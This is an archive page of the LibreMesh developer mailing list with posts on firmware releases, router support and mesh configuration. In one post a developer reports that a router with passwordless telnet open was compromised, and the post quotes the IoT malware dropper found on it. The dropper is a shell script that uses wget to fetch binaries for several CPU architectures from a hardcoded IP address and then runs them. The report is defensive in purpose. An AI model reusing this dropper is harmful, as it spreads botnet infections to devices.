- lime-dev - listas.altermundi.net

Fwd: Google Summer of Code 2017 is coming

by Ilario

Hi! Please read the forwarded email if you don't know what a GSoC is. Everybody can participate as mentor (rewarded 500$) and anyone in a university (from undergraduate to PhD) can participate as student (should be rewarded 5k$). The deadline for proposing ideas (find link below) is the end of this week. We can propose ideas on implementation of lime-proto-client, support for WPA in AP-client setup, multi-ap + WPA + QOS for prioritizing node owner's traffic, improvement of LiMe-LUCI web interface (very important), make easy the setup of captive portal with nodogsplash... ---------- Forwarded message ---------- From: Andreas Bräu <ab(a)andi95.de> Date: 2017-01-15 20:56 GMT+01:00 Subject: Re: [Battlemesh] Google Summer of Code 2017 is coming To: battlemesh(a)ml.ninux.org Hi, please keep in mind to add your ideas as soon as possible, not later than by the end of the week to our wiki: https://wiki.freifunk.net/Ideas Then the appication period will start. Best regards, Andi Am 01.01.2017 um 16:49 schrieb Andreas Bräu: > Hi there, > > I wish you a happy new year! New year, new GSoC! :) > > We're planning to apply again as organisation for GSoC 2017. As last > year we want to be an umbrella organisation for wireless communities. > More information on GSoC you can find at > https://en.wikipedia.org/wiki/Google_Summer_of_Code > > Google announced the new program in October. The period to apply as > organisation will start on January 19 and will close on February 9: > https://developers.google.com/open-source/gsoc/timeline > > As every year we need your ideas for possible projects. These ideas are > one of the most important parts of our application. They are also source > for students to develop their project proposals. Please add your ideas > to our wiki page at https://wiki.freifunk.net/Ideas Our ideas from last > year I copied to https://wiki.freifunk.net/Ideas_GSoC_2016 > > We're also looking for people helping us in administration. If you're > interested in supporting us, send us a message. > > Please spread this to your communities, so we can get a great > collections of ideas! If you know of other wireless communities, please > inform them, too. > > Best regards, > > Andi > > _______________________________________________ > Battlemesh mailing list > Battlemesh(a)ml.ninux.org > http://ml.ninux.org/mailman/listinfo/battlemesh

8 years, 4 months

1
1
0 0

risks of connecting a default lime directly to WAN

by Gui Iribarren

So, i just flashed a generic Community Chaos taken from http://downloads.libremesh.org/community_chaos/16.07/ar71xx/generic/ on a device that gets a public ipv4 over WAN went in via telnet, configured some bits, but i felt it was a bit unresponsive. checking loadavg with "uptime": 12:00:25 up 17 min, load average: 3.70, 1.36, 0.53 and logread showed some OOM... suspicious i had been infected already with some malware :( found a process "LA4obRtMROA7TAt2wWN1TnwHw" and a file in the root directory: /bin.sh which i copy at the end of this email for reference. so funny, for a moment i felt a deja-vu like the many times i connected a Windows PC directly to a public IP, and in under 5 minutes it had been infected with viruses. (this LiMe was infected in under 15 minutes as well) It most likely came in via telnet, since that's open and passwordless by default on our releases. I think we should at least block telnet port over WAN by default ########################## #!/bin/sh BIN_NAMES="mips mpsl arm arm7 ppc spc m68k sh4" HTTP_SERVER="95.215.62.11" HTTP_PORT=80 DROPPER_FILE_NAME="dvrAssist" for a in $BIN_NAMES do if [ -f "/bin/chmod" ] then rm $DROPPER_FILE_NAME /bin/busybox wget http://$HTTP_SERVER:$HTTP_PORT/bins/$a -O - > $DROPPER_FILE_NAME chmod 777 $DROPPER_FILE_NAME ./$DROPPER_FILE_NAME >$DROPPER_FILE_NAME else rm $DROPPER_FILE_NAME cp /bin/echo $DROPPER_FILE_NAME >$DROPPER_FILE_NAME /bin/busybox wget http://$HTTP_SERVER:$HTTP_PORT/bins/$a -O - > $DROPPER_FILE_NAME ./$DROPPER_FILE_NAME >$DROPPER_FILE_NAME fi done echo infectfgt

8 years, 4 months

4
3
0 0

Missing SDK in official stable release folders

by Micha Stöcker

after a short talk between daniel and ufo in the leipzig xmpp muc about libremesh i thought "lets give lime another shot". unfortunately there is no sdk available for download. :( hopefully the sdk was packaged while building the release and someone could upload it. i need the sdk to get an older batman-adv version for compatibility with the existing mesh. greetings from jena, micha

8 years, 4 months

3
2
0 0

LiMe package dependencies

by Kevin Steen

First, I want to say that LibreMesh is awesome! From the short time I've been looking at it, it looks very professional and well thought out. I've had two problems getting LIME 16.07 installed : 1. The package 'lime-basic' requires 'lime-eb-ip-tables' 2. 'lime-webui' requires 'luci-i18n-english' I couldn't find those missing packages anywhere. The system seems to work when I force opkg to ignore those dependencies, but I don't know it well enough yet to know if it is fully working. I compiled from the lime-build source git at : https://github.com/libremesh/lime-build I had to use menuconfig to make most everything into a module, since I'm using a 4MB TPLink MR3020 with an external root on USB. Then I tried to install 'lime-full'. I couldn't find the two missing modules by searching in menuconfig. Apologies if this is already fixed in the dev branch. -Kevin

8 years, 5 months

2
1
0 0

Intro and Discovering local services using mdns

by nicopace

Hi All, My name is Nicolás, I'm from Argentina and I'm working promoting community networks while I travel in Latin America... Glad to be part of this community, and thanks to you all for all you have been doing so far, it is amazing!!! I wanted to share with you some of my last work (that I've been discussing with Nico Echaniz, who suggested to migrate it to here), about how we can promote the use of local services. My view about this has been on using local discovery techniques to identify which local services are around using mdns, and then promote those services via a captive portal. There are many services that are already shared in this way (like printers, media repositories, chat apps) and it is quite easy to add new ones or index those that are not added manually also. I have also defined a strategy on how to deploy this on LiMe based on Nico`s experience on multicast packages (those used by the mDNS discovery mechanism) on mesh networks (quite a mess for now)... so I found a workaround for this specific case. We cound add a daemon to LiMe that permanently scans its local network searching for services, and shares that information via Alfred. Together with another daemon that listens to Alfred and adds that information to the LiMe mDNS Service (Avahi)... that sorts out the multicast issue and lets us share that valuable information efficiently. For those services that don't support mDNS we could add an interface on luci to manually administer them. Finally, we could add a section on the Captive Portal to show this information. What do you think? Regards, -- Nicolás Pace http://www.linkedin.com/in/nickar

8 years, 5 months

6
8
0 0

Neither Chef nor lime-build are producing images for routers with 4 MB flash

by Ilario

Hi devs! As lime-build now supports routers with 4 MB of flash (using make T=ar71xx-mini P=basic) why is not possible to take advantage of this in Chef? And why images for e.g. TP-Link wr841n and wr741nd are neither present in the downloads server under the ar71xx-mini directory [1]? Is that directory containing images made with lime-build with basic profile and ar71xx target? Still too big for 4MB routers?? These images are supported by OpenWrt [2]. This is a big problem for Ninux Bologna users who mainly use TP-Link wr841n and wr741nd hardware[3]. [1] http://downloads.libremesh.org/community_chaos/16.07/ar71xx-mini/generic/ [2] https://downloads.openwrt.org/chaos_calmer/15.05.1/ar71xx/generic/ [3] http://ml.ninux.org/pipermail/bologna/2016-November/001292.html

8 years, 6 months

3
2
0 0

Which routers did you flash with LibreMesh?

by Ilario

We're going to write on the web a list of tested routers, just for helping the visitors to have an idea of the supported/recommended routers without copying and pasting the whole list provided by OpenWrt/LEDE. The discussion on this is here: https://github.com/libremesh/lime-web/pull/14 Please answer with the routers you tried with LibreMesh. I played with: TP-Link WDR3600 TP-Link WR1043ND-v1 Ubiquiti NanoBridge M5 Ubiquiti NanoStation M5 XM Ubiquiti NanoStation LoCo M2

8 years, 6 months

4
3
0 0

http://downloads.libremesh.org down

by Gio

as in subject Cheers!

8 years, 6 months

1
0
0 0

Re: [lime-dev] [lime-users] Testing LibreMesh 16.07 on TPLink AC1750

by Gui Iribarren

On 09/11/16 00:56, Gui Iribarren wrote: > There's a group currently testing in Brasil how does LibreMesh run on > these ath9k+ath10k routers. > > ath9k = 2.4ghz > ath10k = 5ghz > > Extra packets needed so far: > > kmod-ath10k > ath10k-firmware-qca988x > > Progress so far: adhoc doesn't seem to work (virtual interface is not > created) on the ath10k interface. The 2.4ghz interface works correctly > (it's ath9k) adhoc confirmed not supported looking at "iw phy" > > Currently trying ieee80211s mode on ath10k. > Will report any news so, when trying to bring up the mesh interface, logread says ath10k_pci 0000:01:00.0: must load driver with rawmode=1 to add mesh interfaces tried simply reloading the driver with rawmode=1, but then logread said rawmode = 1 requires support from firmware following this https://github.com/o11s/open80211s/wiki/ath10k-(802.11ac)-for-Mesh-Support i downloaded this exact file https://github.com/kvalo/ath10k-firmware/raw/master/QCA988X/hw2.0/10.2.4.70… placed it the router /lib/firmware/ath10k/QCA988X/hw2.0/firmware-5.bin overwriting the one from the package ath10k-firmware-qca988x then # rmmod ath10k_pci ; rmmod ath10k_core # insmod ath10k_core rawmode=1 ; insmod ath10k_pci # wifi and it came up :) i had some issues with wireless.radioX.htmode=HT40, logread spits out some errors during wifi reload radio0 (24777): Usage: iw [options] dev <devname> set channel <channel> [HT20|HT40+|HT40-] radio0 (24777): Options: radio0 (24777): --debug enable netlink debugging looks like netifd is passing the parameters wrong to "iw" according again to this https://github.com/o11s/open80211s/wiki/ath10k-(802.11ac)-for-Mesh-Support the syntax is supposed to be "iw mesh0 set freq 5180 80 5210" and it looks like netifd is doing the classical "iw mesh0 set channel 48 HT40+" for the meantime, i just unset htmode, and it everything comes up fine (albeit slow, a netperf between the two nodes on the same table gives only ~20 mbps, it could be around ~100 mbps if properly configured) anyway this thread will turn definitely "lime-dev", and offtopic for lime-users, so I'm moving the discussion there :) > > If anyone has already tested this hardware or has any tips, much welcome :) > > cheers! > > > _______________________________________________ > lime-users mailing list > lime-users(a)lists.libremesh.org > https://lists.libremesh.org/mailman/listinfo/lime-users >

8 years, 6 months

2
3
0 0

trap in bmx6-auto-gw-mode logic

by Gui Iribarren

Hey friends, I've just stumbled this situation "in the wild" (a friend who tried libremesh on two routers and got stuck, then asked me to have a look inside) steps to reproduce: 1. router A, freshly flash with 16.07 from downloads.lime.org 2. connect router A via WAN to the internet 3. watchping detects the connection and executes bmx6 -c tunOut -inet4 && bmx6 -c tunIn inet4 /n 0.0.0.0/0 4. now go via luci interface and set, for example, hostname or whatever 5. "save & apply" triggers a "uci commit" 6. there are "pending changes" in bmx6 uci, which get commited as well -bmx6.inet4 bmx6.cfg1020b3='tunIn' bmx6.cfg1020b3.tunIn='inet4' bmx6.cfg1020b3.network='0.0.0.0/0' 7. disconnect WAN internet and reboot now flash another router B, connect router B via WAN to Internet, and try to access that connection from router A (router A not connected anymore directly to WAN) router A doesn't have the inet4 tunOut anymore, and actually publishes a "blackhole" tunIn 0.0.0.0/0 and it will stay in that broken state forever (unless, well, you "firstboot" it or something) a "proper" fix would be for bmx6 to not necesarily write runtime config changes to /tmp/.uci/bmx6 (say, have an option) a quick dirty workaround that comes off the top of my head would be to issue a "uci revert bmx6" at the end of /etc/watchping/wan-fail.d/bmx6-gw /etc/watchping/wan-ok.d/bmx6-gw @pau, what do you think? cheers! gui

8 years, 6 months

2
1
0 0

Autoassigned IPv4 x.x.x.0 in a /16 network, is it a valid IP?

by Ilario

Hi! Yesterday I flashed a router with the MAC like xx:xx:xx:xx:xx:00 which resulted in a 10.13.y.0/16 IPv4 (where y is different from 0, in this /16 network the network identifier is 10.13.0.0). It looks strange, ending with zero, but is valid right? Thanks and sorry for the n00b question, Ilario

8 years, 7 months

2
1
0 0

Libremesh and MAKEA

by Amuza

Hi, As my friend -in the cc field- is not in the developers mailing list, please do not just reply to the list, please remember to cc him in the case you want to reply through the list. I am going to tell you about an event in Spanish with Spanish-speaking people, so let me please change to Spanish... Apologies to non-Spanish speakers. Hola, Hace dos semanas hicimos una pequeña presentación del proyecto de red en malla en el barrio. Allí hablamos de Libremesh y a un amigo -en copia- le moló el asunto. Me comentó la posibilidad de que LibreMesh estuviera de alguna forma en la expo colectiva Rehogar [1] de Makea [2]. Él es parte de Makea. Yo le comenté que conocía a algunes de les desarrolladoreas de Libremesh y me ofrecí a poneros en contacto, por si surgía la posibilidad de hacer un taller, una presentación o lo que sea... Lo consultó con más gente de Makea [3] y le contestaron positivamente, o sea que se podría hacer algo con LibreMesh allí. Así es que creo que yo ya he cumplido mi misión de poneros en contacto. Si queréis continuar la comunicación mediante esta lista, acordaos de ponerle en copia en las contestaciones, ya que él no está sucrito a esta lista. ¡Gracias! [1] http://www.makeatuvida.net/?p=11723 [2] www.makeatuvida.net [3] hola(a)makeatuvida.net

8 years, 7 months

1
1
0 0

Default IPv4 192.168.1.1

by Ilario

Most users expect to connect to 192.168.1.1 for the first login, as defaults in OpenWrt and LEDE. This should be the default also for LibreMesh in my opinion. Can be done setting the main_ipv4_address parameter in lime-defaults [1] to 192.168.1.1/24 instead of what we have now (10.%N1.0.0/16 where %N1 depends on the chosen name of the AP interface and the last two fields are chosen depending on the device mac address [2]). Are there other ways? Do you think that keeping the auto IPv4 assignment enabled by default is worth the trouble? Bye! Ilario [1] https://github.com/libremesh/lime-packages/blob/develop/packages/lime-syste… [2] /16 seems good enough for avoiding collisions, checking the birthday paradox [3] against a /16 range results that 300 hosts are needed for having a 50 % probability of a collision. Neither the possible collisions coming from the fallback mechanism for invalid addresses [4] seem to be a problem. [3] https://en.wikipedia.org/wiki/Birthday_problem [4] https://github.com/libremesh/lime-packages/blob/develop/packages/lime-syste…

8 years, 7 months

4
6
0 0

Release 16.07 "Community Chaos" officially out

by Gui Iribarren

Thanks to everyone involved, finally we have an official release! * generic binaries, meant for testing or setting up temporary networks (i.e. when having the default AP SSID = LibreMesh.org is fine) http://downloads.libremesh.org/community_chaos/16.07/ * customized binaries with chef, meant for stable community networks (basically, you can preset a specific AP SSID and other settings common to the whole network, and then flash many routers in a row) can be generated at: http://chef.libremesh.org/ Changelog since "BiggestBang" 15.09: • Now based on OpenWrt Chaos Calmer 15.05.1 • Removed "firewall" package (which is included by default in vanilla OpenWrt/LEDE), since it's not really being used in LibreMesh setup. It can always be installed on a case-by-case basis using opkg. ∘ there's a new minimal system that runs /etc/firewall.lime on boot (if "firewall" is not installed) • Removed "odhcpd" since we're not using it at the moment (we use dnsmasq) • Removed "odhcp6c" since we're not using it at the moment (we still haven't solved how to deal with native IPv6 coming over WAN, i.e. propagate a delegated prefix over the mesh in a reasonable way) • New default packages: "lime-hwd-openwrt-wan" and "lime-proto-wan". This checks if there's a WAN port, and automatically configures as "wan" proto (lime-proto-wan). The "wan" proto let's you assign in /etc/config/lime, for example, 802.1ad VLANs over the WAN port. • New default package: "lime-hwd-ground-routing". Allows you to configure 802.1q VLANs on embedded switches, so that you can separate specific ports and put • New default package: "bmx6-auto-gw-mode", so that when a node detects (with watchping) it can ping 8.8.8.8 over WAN port, a bmx6 tunIn is created on-the-fly, and Internet is shared to the rest of the clouds. • Workaround for an spurious log message caused by BATMAN-Adv ("br-lan: received packet on bat0 with own address as source address"): a "dummy0" interface is created and added to bat0, with a slightly different MAC address ∘ https://lists.open-mesh.org/pipermail/b.a.t.m.a.n/2014-March/011839.html • New available packages: "lime-proto-bgp", allows to do BGP with bird daemon; and "lime-proto-olsr", "-olsr2" and "-olsr6", which add support for all versions of OLSR. • Some new settings possible in /etc/config/lime-defaults ∘ wireless.htmode lets you preset the htmode for any wireless radio (or htmode_2ghz and htmode_5ghz for specific bands) ∘ wireless.distance is the equivalent, for setting distance (and distance_2ghz / _5ghz) ∘ system.domain for setting a cloud-wide domain name • New "named AP" interface by default: in addition to the shared SSID (where clients roam between nodes), there's a new AP with a different, unique SSID (it includes the node hostname). This lets people easily check with any stock smartphone (not only Android with a special app) which nodes are online, nearby, and their respective signal strength. Most importantly, it lets them connect to a specific AP and prevent roaming, when they need it. Roaming is a nuisance if you're in the middle of two nodes, with similar RSSI, but different performance (bandwidth to Internet). Finally, it gives users a very easy way to reliably access a specific (nearby) node webinterface, simply associating to a specific AP and browsing to http://thisnode.info/ • Fixed all alfred facters (bat-hosts, dnsmasq-distributed-hosts, dnsmasq-lease-share), so that they retry the "alfred -r" when it fails (i.e. in slave mode) • LiMe web interface received love: ∘ luci-app-lime-location (Simple Config -> Location) now works ∘ Simple Config -> Advanced

8 years, 8 months

3
2
0 0

Re: [lime-dev] [lime-users] Release 16.07 "Community Chaos" officially out

by p4u

Thank you Gui and everyone involved for your work! The real chaos is starting!! On 13 de setembre de 2016 21:06:35 CEST, bruno vianna <bruno(a)pobox.com> wrote: >congrats! > >On Tue, Sep 13, 2016 at 11:44 AM, Gui Iribarren <gui(a)altermundi.net> >wrote: > >> Thanks to everyone involved, finally we have an official release! >> >> * generic binaries, meant for testing or setting up temporary >networks >> (i.e. when having the default AP SSID = LibreMesh.org is fine) >> >> http://downloads.libremesh.org/community_chaos/16.07/ >> >> * customized binaries with chef, meant for stable community networks >> (basically, you can preset a specific AP SSID and other settings >> common to the whole network, and then flash many routers in a row) >> can be generated at: >> >> http://chef.libremesh.org/ >> >> Changelog since "BiggestBang" 15.09: >> >> • Now based on OpenWrt Chaos Calmer 15.05.1 >> • Removed "firewall" package (which is included by default in vanilla >> OpenWrt/LEDE), since it's not really being used in LibreMesh setup. >It >> can always be installed on a case-by-case basis using opkg. >> ∘ there's a new minimal system that runs /etc/firewall.lime on boot >> (if "firewall" is not installed) >> • Removed "odhcpd" since we're not using it at the moment (we use >dnsmasq) >> • Removed "odhcp6c" since we're not using it at the moment (we still >> haven't solved how to deal with native IPv6 coming over WAN, i.e. >> propagate a delegated prefix over the mesh in a reasonable way) >> • New default packages: "lime-hwd-openwrt-wan" and "lime-proto-wan". >> This checks if there's a WAN port, and automatically configures as >"wan" >> proto (lime-proto-wan). The "wan" proto let's you assign in >> /etc/config/lime, for example, 802.1ad VLANs over the WAN port. >> • New default package: "lime-hwd-ground-routing". Allows you to >> configure 802.1q VLANs on embedded switches, so that you can separate >> specific ports and put >> • New default package: "bmx6-auto-gw-mode", so that when a node >detects >> (with watchping) it can ping 8.8.8.8 over WAN port, a bmx6 tunIn is >> created on-the-fly, and Internet is shared to the rest of the clouds. >> • Workaround for an spurious log message caused by BATMAN-Adv >("br-lan: >> received packet on bat0 with own address as source address"): a >"dummy0" >> interface is created and added to bat0, with a slightly different MAC >> address >> ∘ https://lists.open-mesh.org/pipermail/b.a.t.m.a.n/2014- >> March/011839.html >> • New available packages: "lime-proto-bgp", allows to do BGP with >bird >> daemon; and "lime-proto-olsr", "-olsr2" and "-olsr6", which add >support >> for all versions of OLSR. >> • Some new settings possible in /etc/config/lime-defaults >> ∘ wireless.htmode lets you preset the htmode for any wireless radio >> (or htmode_2ghz and htmode_5ghz for specific bands) >> ∘ wireless.distance is the equivalent, for setting distance (and >> distance_2ghz / _5ghz) >> ∘ system.domain for setting a cloud-wide domain name >> • New "named AP" interface by default: in addition to the shared SSID >> (where clients roam between nodes), there's a new AP with a >different, >> unique SSID (it includes the node hostname). This lets people easily >> check with any stock smartphone (not only Android with a special app) >> which nodes are online, nearby, and their respective signal strength. >> Most importantly, it lets them connect to a specific AP and prevent >> roaming, when they need it. Roaming is a nuisance if you're in the >> middle of two nodes, with similar RSSI, but different performance >> (bandwidth to Internet). Finally, it gives users a very easy way to >> reliably access a specific (nearby) node webinterface, simply >> associating to a specific AP and browsing to http://thisnode.info/ >> • Fixed all alfred facters (bat-hosts, dnsmasq-distributed-hosts, >> dnsmasq-lease-share), so that they retry the "alfred -r" when it >fails >> (i.e. in slave mode) >> • LiMe web interface received love: >> ∘ luci-app-lime-location (Simple Config -> Location) now works >> ∘ Simple Config -> Advanced >> >> >> >> _______________________________________________ >> lime-users mailing list >> lime-users(a)lists.libremesh.org >> https://lists.libremesh.org/mailman/listinfo/lime-users >> > > > >-- > >bruno(a)pobox.com ▀─█▄██▄▀▄ >http://brunovianna.net ─█▄██▄▀█▀█▄ >skype: randomico▀─█▄██▄▀█▀█▄▌██─█▌█▌ > > >------------------------------------------------------------------------ > >_______________________________________________ >lime-users mailing list >lime-users(a)lists.libremesh.org >https://lists.libremesh.org/mailman/listinfo/lime-users -- Sent from my Android device with K-9 Mail. Please excuse my brevity.

8 years, 8 months

1
0
0 0

Renamed Libre-Mesh to LibreMesh

by Gui Iribarren

Hello people, back in sep/2014, Ilario suggested to register libremesh.org: http://lists.libre-mesh.org/pipermail/dev/2014-September/000458.html we did, and after a looong transition, we're finally finishing all the renamings, right on time before the new release (so we're taking the opportunity to launch 16.07 with the new name) back in march, we took the decision to migrate everything, then at the last meeting consensus was *against* migration (among concerns, was breaking github urls, and such); but recently found out about github retrocompatibility features, and finally reached consensus approving the migration. Affected: * IRC: channel #libre-mesh is deprecated, join #libremesh from now on * GitHub repos: all the legacy urls continue to work (but deprecated) example: git clone https://github.com/libre-mesh/lime-packages.git still works, but you should clone from now on: git clone https://github.com/libremesh/lime-packages.git so all the existing lime-builds out there will continue to work, pointing to the legacy URLs, pulling changes without problem but if you're reading this, and have already existing repos in your computers, please change remote's URLs, like so: https://help.github.com/articles/changing-a-remote-s-url/ The only thing that will not work anymore is the old's organization "homepage" in github, i.e. the list of repos https://github.com/libre-mesh/ doesn't work anymore. use https://github.com/libremesh/ instead. This caveat is mentioned in https://help.github.com/articles/renaming-an-organization/ * Repo contents: everything was renamed in 1 commit to each repo branch: https://github.com/libremesh/lime-build/commit/071a90b85 https://github.com/libremesh/lime-build/commit/dde93693a https://github.com/libremesh/lime-packages/commit/4c0bd49e70 https://github.com/libremesh/lime-packages/commit/7f18ad3597 https://github.com/libremesh/lime-web/commit/b78a0d57c * Chef: All the mentions about Libre-Mesh were replaced to LibreMesh back in march/april already. * Mailing lists: they'll be transparently renamed to lime-*(a)lists.libremesh.org (pipermail archives, subscribers, etc) and the @lists.libre-mesh.org will be deprecated (mail sent to the deprecated address will be held, and senders notified the new addr) this will also involve moving to a better maintained mailman server This last step (mailing lists) is not done yet, to allow people to get this notice first, and update their email filters / etc. Please do so, since this email is the last one you'll get from *(a)lists.libre-mesh.org. You'll soon get a "Welcome" message from lime-*(a)lists.libremesh.org cheers! and see you on the other side of the mirror, with a freshly cooked release.

8 years, 8 months

1
0
0 0

LiMe on LEDE [was: New lime-build v2.0]

by Ilario

2016-07-11 20:49 GMT+02:00 p4u <pau(a)dabax.net>: > From the README: Or to use your own LiMe packages git repository and/or > OpenWRT/LEDE (must be executed the first time make is invoked or after > clean). > > make LIME_GIT="http://foo.git" <http://foo.git> T=ar71xx P=generic > OWRT_GIT="http://foo.git" <http://foo.git> > I tried to compile LiMe on LEDE using lime-build develop, I simply issued: make T=ar71xx P=generic OWRT_GIT=" https://git.lede-project.org/source.git" but I noticed that there are lines in the feeds.conf file [1] included in lime-build which are pointing to our static OpenWrt repos. So, what is a good procedure to build LiMe on LEDE using lime-build? Is it enough to remove those lines in the feeds.conf file and specify the OWRT_GIT parameter pointing to LEDE source? Thanks, Ilario [1] https://github.com/libre-mesh/lime-build/blob/develop/feeds.conf

8 years, 8 months

3
6
0 0

23rd Chaos Communication Congress - Call for Participation

by guifipedro

What about you developers explaining libremesh at 23c3 ? https://frab.cccv.de/en/23C3/cfp/session/new

8 years, 8 months

3
2
0 0

Firmware size and downloads.libre-mesh.org

by Pau

Hi. I was talking with Gui and we both agree on repointing downloads.libre-mesh.org to builds.libre-mesh.org where there are automatic builds (using lime-build) of develop and the current release CommunityChaos 16.07 together with the package repositories for opkg. I think that is the best option for stock/generic official firmwares. Then Chef can be used for customizing those communities who need customization. If someone does not agree we can open a discussion. However after building the binaries, something took my attention. Now the generated images are much smaller than before. The ar71xx-mini target takes only 2.5M and the ar71xx with lime-full profile fits in a 4MB device. My first thinking was that the compilation was wrong but I tested and everything is fine. I know we clean up a bit the default packages list of lime-build and also removed some of them which were not strictly necessary. But I was not expecting such big difference on output firmware size. That is actually great! Cheers. -- ./p4u

8 years, 9 months

3
2
0 0

16.07 in the wild

by Gio

Hi! I saw Gui merged las fixes in 16.07 toniight, so i consider 16.07 is the latest LiMe release I have just switched the default branch of lime build from testin/16.07 to 16.07 so now it will build by default latest stable release :) Congrats!

8 years, 9 months

2
1
0 0

Pad of LiMeCat2016q3

by Ilario Gelmetti

Hi devs, here in LiMeCat2016q3 we're preparing a release: 16.07 or CommunityChaos. I invite you to checkout the pad if you want to drop comments before the end of the meeting: https://pad.eigenlab.org/p/LiMeCat2016q3 Anyway after the meeting the discussion will continue on this list :) Bye! Ilario -- Ilario Gelmetti iochesonome(a)gmail.com igelmetti(a)iciq.es ilario.gelmetti(a)estudiants.urv.cat

8 years, 9 months

1
1
0 0

bridge and batman-adv over ethernet

by Daniel Golle

Hi! We are currently trying to use the Libre-Mesh.org firmware with batman-adv enabled on wired Ethernet interfaces alongside with a VLAN which is a member of the bridge the batX interface also resides in. ------------------------------ E |VLAN---batadv---bat0 T +--------------+ BRIDGE H |VLAN------------eth0.xx ------------------------------ We do want such a setup to have the best of both worlds: the performance of a plain bridge but yet benefit from batman-adv topology information, alfred and all that. As many cheap Ethernet switches do not support frames larger than 1500 bytes, increasing the MTU is not an option and thus frames inside batman-adv end up fragmented which hurts performance if encapsulating all traffic via batman-adv. I remember there was a discussion during battlemesh about a race- condition which can confuse BLA and thus batman-adv is still disabled on wired Ethernet interfaces in Libre-Mesh by default. So here I am asking you about the current state of affairs regarding this issue. We are discussing it on https://github.com/libre-mesh/lime-packages/issues/56 and it would be great to hear a more detailed summary because I only remember the rough details and also haven't been watching if anything was fixed or improved since we all met in Porto. Cheers Daniel

8 years, 9 months

2
1
0 0

Re: [lime-dev] Fwd: Github notifications on dev mailing list

by Gio

It is ok for me On Saturday 06 August 2016 16:59:20 Ilario Gelmetti wrote: > -------- Forwarded Message -------- > Subject: Github notifications on dev mailing list > Date: Thu, 28 Jul 2016 16:49:34 +0200 > From: Ilario <iochesonome(a)gmail.com> > To: libre-mesh developement <dev(a)lists.libre-mesh.org> > CC: Nicolás Echániz <nicoechaniz(a)altermundi.net> > > > > Hi devs! > Recently there's a lot of interesting discussion [e.g. 50,56] going on > on Github/libre-mesh bypassing completely this mailing list. > I think we should mirror Github issues, comments on issues and similar > stuff here. > There's an easy solution [1] which doesn't require any software running > on our side, but requires a mailing list administrator (Nico) to set up it. > Shall we do this? > Ciao! > Ilario > > [50] https://github.com/libre-mesh/lime-packages/issues/50 > [56] https://github.com/libre-mesh/lime-packages/issues/56 > [1] > https://github.com/w3c/webpayments/wiki/Synchronizing-Github-Issues-with-W3C > -Mailing-Lists

8 years, 9 months

1
0
0 0

Github notifications on dev mailing list

by Ilario

Hi devs! Recently there's a lot of interesting discussion [e.g. 50,56] going on on Github/libre-mesh bypassing completely this mailing list. I think we should mirror Github issues, comments on issues and similar stuff here. There's an easy solution [1] which doesn't require any software running on our side, but requires a mailing list administrator (Nico) to set up it. Shall we do this? Ciao! Ilario [50] https://github.com/libre-mesh/lime-packages/issues/50 [56] https://github.com/libre-mesh/lime-packages/issues/56 [1] https://github.com/w3c/webpayments/wiki/Synchronizing-Github-Issues-with-W3…

8 years, 9 months

1
0
0 0

Different modes for different targets in lime-build [was: downloads.libre-mesh.org activated again]

by Ilario

2016-07-13 15:39 GMT+02:00 p4u <pau(a)dabax.net>: > Good point is that now we have many more targets (routers) available. > I've even tested different architectures such as x86 (which works fine) > and RAMIPS (which does not work fine in Ad-Hoc but it does in 802.11s > mode). > So, from my understanding there are architectures where trying to set both ad-hoc and ap modes is not going to work, or it would be better to set 802.11s and ap instead (as Pau told for ramips), right? In my opinion (ap + ad-hoc | just ap | ap + 802.11s) selection could be made by lime-build depending of the selected target architecture. lime-build could do this setting different lime-defaults depending on the target (not implemented yet). Otherwise I suspect that we should move some files [1] from lime-system to new packages lime-mode-adhoc and lime-mode-ieee80211s (and stop using lime-full), then specifying the wanted packages in the targets files [2]. Byyye, Ilario [1] at least these https://github.com/libre-mesh/lime-packages/tree/develop/packages/lime-syst… [2] https://github.com/libre-mesh/lime-build/tree/develop/targets

8 years, 9 months

2
5
0 0

lime-mini and ar71xx-mini

by Ilario

In these last two days appeared two different things called "mini" in libre-mesh: * ar71xx-mini target in lime-build [1] for routers with < 4MB of flash memory (really useful!!) * lime-mini package in lime-packages [2] which equals to the classic lime-full without lime-debug I think that having two different meanings for the "mini" concept is confusing, Pau could you rename one of the two? Like "lime-mini" => "lime-basic" or "ar71xx-mini" => "ar71xx-4mb". Thanks, Ilario [1] https://github.com/libre-mesh/lime-build/commit/d8a0a8ecd913f18fb0af920aa83… [2] https://github.com/libre-mesh/lime-packages/commit/36ff885ec54e3bffd9980d11…

8 years, 10 months

2
1
0 0

Release 16.07

by p4u

I've been testing current lime-packages develop branch with OpenWrt 15.05 Chaos Calmer. My testbed is a 20-30 mesh network with real users in a non easy scenario. It seems to work fine so I created a new branch in lime-packages and also in lime-build named testing/16.07. I will do more testing next days but would be nice to have more feedback. So if you want to compile it yourself clone: "lime-build" and: git checkout 16.07 make T=ar71xx J=4 P=generic Or use new profile "ar71xx-mini" made for small 4MB devices. Do we have some special features we want to have in the next release or the current develop works? PS: I took the liberty to do so to try pushing a bit this release.

8 years, 10 months

1
1
0 0

commits on release 15.09? don't panic

by p4u

Hi. I had to cherry-pick some small commits from Develop to release 15.09 to be able to use the lime-freifunk package in the stable release of LiMe. I know it is not the way we agreed (once the release is done, only bugfixes can be backported). But we really need this here in freifunk. They are working with develop and the experience is too much random. We need some stable firmware. If the team does not agree, I'll do "git reset" to go back again. Cheers, hope you understand.

8 years, 10 months

2
1
0 0

mv olsr_integration feature/proto_named_args

by Gio

Hi! I have been reviewing the branch olsr_integration started by Pau. I have changed a few stuff for more consistence, in particular we already had the convention that vlanid=0 mean no vlan and createVlanInterface already take care of this (still testing it on a real device is TODO) moreover the way it was implemented named args worked only in specific interface configuration while now it works also in the general network section I also removed the extraArgs param because args is already a table (associative array) so it already support string index (we were already doing something similar for interface flags) All modifications should works but are not tested on a real device as i don't have one under my hands right now, so i haven't merged it Still it is not clear to me how bmx and olsr can run at same time without causing strange behaviors in general cases, but it is not a problem for me ;) While i perfectly see the usefulnes of supporting more routing protocols also without using vlan Thanks for the idea of moving also protocols to named arguments and to start coding it! Cheers!

8 years, 10 months

2
1
0 0

bmx6 vs. bmx7

by Ufo

Micha, another freifunker who is testing libremesh at the moment is very confused about having bmx7 packages when using bmx6 (in developer brunch). bmx6 is used at the moment, because bmx7 was very unstable in daniels first setup (also to much packages for 4mb routers) while daniel was patching that adhoc, micha made some commits, and is still on testing: https://git.netzspielplatz.de/ffj-LiMe/lime-packages/commits/develop whats your opinion about that problem? ufo -- --- Freifunk Leipzig http://leipzig.freifunk.net

8 years, 10 months

3
2
0 0

downloads.libre-mesh.org activated again

by p4u

